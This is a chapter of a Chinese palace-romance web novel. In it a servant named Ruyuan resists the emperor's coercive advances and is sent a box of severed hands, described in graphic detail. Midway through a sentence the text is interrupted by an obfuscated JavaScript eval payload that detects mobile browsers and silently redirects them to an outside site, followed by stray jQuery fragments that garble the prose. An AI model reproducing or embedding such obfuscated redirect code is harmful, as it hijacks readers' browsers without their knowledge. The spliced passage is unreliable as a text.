如愿心头慌乱,下意识退了半步,低头屈膝行肃拜礼,“奴婢恭迎陛下!”
天子朝随从使了个眼色,示意他们退下,随即提袍迈步,转眼就到了跟前。
他身上那独特的香气丝丝侵入肺腑时,如愿就像魇住了一般无法动弹。那日出宫时,她便料到可能会有这一天,但没想到一切来得如此快……
见她呆呆地杵在门口,荀娘忙赔笑着绕过去,悄悄拽了拽她。
如愿百感交集,咬了咬唇正待躬身退开,却被一只臂膀拦腰拥住。
她惊出一身薄汗,本能地想挣开,可意识到如今是笼中鸟、案上鱼,只得握拳忍住不适。
“来都来了,还做出这副贞烈样子给谁看?”他揽着她徐徐入内,目光好奇地在她脸上流连,语气玩味道。
如愿在他的阴影里几乎要喘不上气,低头道:“奴婢……不敢。”
天子觉察到她的抵触,有些不悦地撤回手,快走两步在樟木壸门局脚榻上落座。
如愿总算松了口气,却依旧悬着心,惴惴地侍立在侧,始终不敢抬头看他。
不知何故,满脑子都是纱幔外安王的影子。
蹙紧的眉峰、眼下的乌青、绷紧的下颌,还有宽袖下若隐若现的手。
他的手干净瘦削,肤质如暖玉。
即使她不爱读书练字,抚琴下棋,可为了能名正言顺多亲近,也会主动去学,因为他总不厌其烦的手把手教授。
可今日之后,一切都将成为再难企及的梦。
想到这里,便心痛难耐。
天子半倚着隐囊,指尖下意识摩挲右腕上结痂的齿痕,想到她媚眼如丝的妖娆样貌,难免心猿意马。
他略微抬眸,饶有兴致地打量着着咫尺外的如愿,即便只着寻常衣饰,甚至低垂着头,可身形袅娜,风姿绰约,依旧教人心折。
但他这些年醉心权术,心思全放在和嫡母斗法,与外戚相争上,在女色方面全无经验,也无耐心,便勾了勾手指,唤道:“过来!”
“陛下,”这动作过于轻佻,如愿按下心里的不快,鼓起勇气道:“奴婢有名字的。”
“哦?”他饶有兴趣地支着下巴,明知故问:“你叫什么?”
“奴婢姓姜……”她慢吞吞道。
“朕知道,”他挑眉道:“你是安王乳母——姜夫人的女儿。”
当日她被安王带离后,他当即命内侍省暗中去查她的底细,不过两日功夫,便已将她的身世背景了解了十之八九。
“这个姓不好。”他煞有介事地摇头。
“哪里不好?”如愿有些急眼,孩子气般瞪着他嚷道。
“用在你身上不好。”他一本正经道:“姜如愿,将如愿,也就是还未如愿。”
如愿哭笑不得,紧绷的心弦也随之一松。
“依朕看……”他缓缓伸出手去,眼神飘忽,蛛丝般笼住了她。如愿有些恍惚,意识仿佛回到了那个遥远的午后。
练舞崴了脚想告假,却遭教习嬷嬷质疑作假,正吵得面红耳赤时,满脸堆笑的假母带着珠玉般耀眼的紫袍少年推门而入,指着她说这就是您要找的人。
她抬头望过去时,整个人便跌进了那双温柔深隽的眼眸,从此再难自拔,可如今她主动离开了他。
如愿鬼使神差般近前,将手递了过去。
“还是姓李好,李如愿,理当如愿。”他握住她柔弱无骨的手,意味深长道。
陌生的男子气息扑面而来,如愿这才惊醒,半僵着身子,诚惶诚恐道:“陛下莫要拿奴婢开玩笑。”
见她神情委顿,再不复当日桀骜,他心下颇为纳闷,铁臂一收,便将她拽到了怀里。
“做朕的御妻,不比做安王的婢女强吗?”他目光灼烫,呼吸如热浪般拂在耳畔,激得她一阵颤栗。
“陛下……我……”她哆嗦着开口,却不知要说什么。
天子见她慌成这样,不忍逼迫过甚,略略放松了些,黑眸中泛起一抹笑,沉声道:“朕很欣赏你的个性,可凡事过犹不及。”
在男人眼中,适当的不驯是一种情趣。
见她似乎有所悟,他这才缓缓抬手,一边留意着她的反应,一边试探着去抚摸她粉热的面颊。
微凉的指尖刚碰到肌肤,如愿便触电般躲开了。
他的神色骤然阴冷下来,如愿感到头皮发麻,慌忙定下神来,佯做娇羞道:“疼——”
可他长在深宫,自小便习得察言观色的本领,又岂能看不出她的心思?
既然她路遇安王,却并未出声示警,显然是下定了决心,可为何在他面前又惺惺作态?
他感到说不出的挫败,又有些懊恼,登基十年来,还是头回遇到这么棘手的事。
“那就好生歇着吧!”身为天子,他自不愿屈就,赌气般推开她,起身拂袖而去。
院中的荀娘等人一头雾水,只得躬身送驾。
**
如愿身上热一阵冷一阵,抱膝呆坐半晌,天色渐渐暗了下来,宫人进来掌灯,她也无知无觉。
直到荀娘亲自捧来晚食,她才回过神来,有气无力地问道:“宫门外有什么动静没?”
荀娘先是一怔,很快明白过来,敛容正色道:“宫里不是做梦的地方,快清醒点。你最好期盼安王不要有动静,否则……”
“会如何?”她咬了咬唇,一脸倔强的问。
荀娘骇然道:“你真的不明白自己的处境?天呐,你最好是在装糊涂,不然……”
许是怕吓到如愿,她没再往下说。
如愿向来讨厌说教,冷笑道:“你别忘了自己的身份!”
荀娘意识到失态,以后的前程还得仰仗她,忙笑着赔礼,安抚好后,才语重心长道:“深宫之中险象环生,娘子也是领教过的……”
如愿突然打断,寒着脸问道:“那日皇后无故刁难我,你们是一早就知道的吗?”
荀娘没料到她突然翻旧账,一时陷入两难,支支吾吾道:“我们……也是……也是猜测的,事先并不知殿下的手段……”
见如愿未再追究,这才继续道:“娘子应当明白,能护住你的只有陛下。”
“可他居心不良。”如愿反唇相讥,“不过是见色起意罢了。”
荀娘失笑道:“别说你只是安王的婢女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787955|210236||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,就算是他的姬妾,只要陛下一句话,谁敢说什么?历朝历代这种事多了。而且陛下从未亏待过安王半分,于公于私,他都不该说一个不字。”
如愿一脸不忿,却紧抿着唇没有反驳。
荀娘缓了口气,温声道:“冲冠一怒为红颜,话本戏文里看看就罢了,切莫当真。安王若是真的为了一个女子挺身而出,不仅有损陛下声名,与他自身也无半点裨益,而你将会成为世人口中的红颜祸水,必当万劫不复。”
“可我不怕!”如愿脱口而出。
荀娘想起她与皇后和太后交锋的癫狂样,自嘲一笑,不再多费口舌,转而劝她进膳。
如愿摆手道:“我没胃口,还是洗漱睡觉吧!”
荀娘正要吩咐人准备热水,却听院中传来急促脚步声。为首竟是天子身边的亲信郭永,她连忙迎下去见礼,躬身道:“见过内常侍。”
郭永略微颔首,问道:“姜娘子何在?”
“正要用晚膳呢。”荀娘忙在前领路,将他引到了明间。
如愿端坐在主位,两边青铜枝灯被他们带起来的风一激,烛影如鬼魅般在身后屏风上游走。
郭永笑吟吟上前,姿态殷勤道:“姜娘子,老奴奉陛下之命,来给您送件礼物。”
如愿看到他皮笑肉不笑的模样,心猛地一沉。荀娘也觉不安,下意识走到了如愿身边。
两名小宦官垂首上前,各捧一只朱漆螺钿方盒,恭恭敬敬地立在如愿面前。
郭永慢悠悠地踱过来,眼中的笑意有几分阴森,“娘子瞧好了。”他说着掀开盒盖。
幽微烛火下,血腥气扑面而来,盒中各盛着一双手。
十指痉挛,肌肤青白,仿佛还保持着挣扎的姿态。创口处血肉翻卷,断骨森森,暗红的血浆浸透了盒底的锦缎。
荀娘惊叫一声,紧紧捂住了嘴巴。
如愿瞳孔骤缩,一股酸水猛地从胃里顶上来。她死死咬住嘴唇,将恐惧和恶心强压了下去,哑声道:“这是何意?”
郭永笑眯眯道:“这两个不长眼的东西,是清宁宫那边的。他们狗胆包天,竟敢冒犯娘子,以致娘子容颜损伤,实在罪该万死!”
他语气轻松,闲话家常般,如愿却如坠冰窟,浑身僵冷。
“娘子可还满意?”郭永阴恻恻地凑近半步,烛火在他眸底跳动,泛着诡异的绿光,“您要是还不消气,老奴这就去把他们脑袋摘下来,连夜送到您面前。”
如愿浑身颤抖,心跳如雷,冷汗早已濡湿鬓发。
她费力地闭了闭眼,那两个拉扯掌掴她的内侍早已面容模糊。可日间偏头拒绝触碰时,天子收回手后眸底涌动的戾气却无比清晰。
“不……不必了……”她口干舌燥,声音几不可闻。
“娘子真是宅心仁厚,”郭永使了个眼色,两名捧盒宦官躬身退下,“老奴这就去隔壁复命。”
“陛下在……”荀娘忍不住接话,朝浴堂殿的方向瞟了眼。
郭永轻轻点头,待要告辞离去,却又像刚想起什么,顿时满面忧色,趋步过来压低嗓音道:“还有一件事,娘子千万莫要声张,方才宫门口来报……”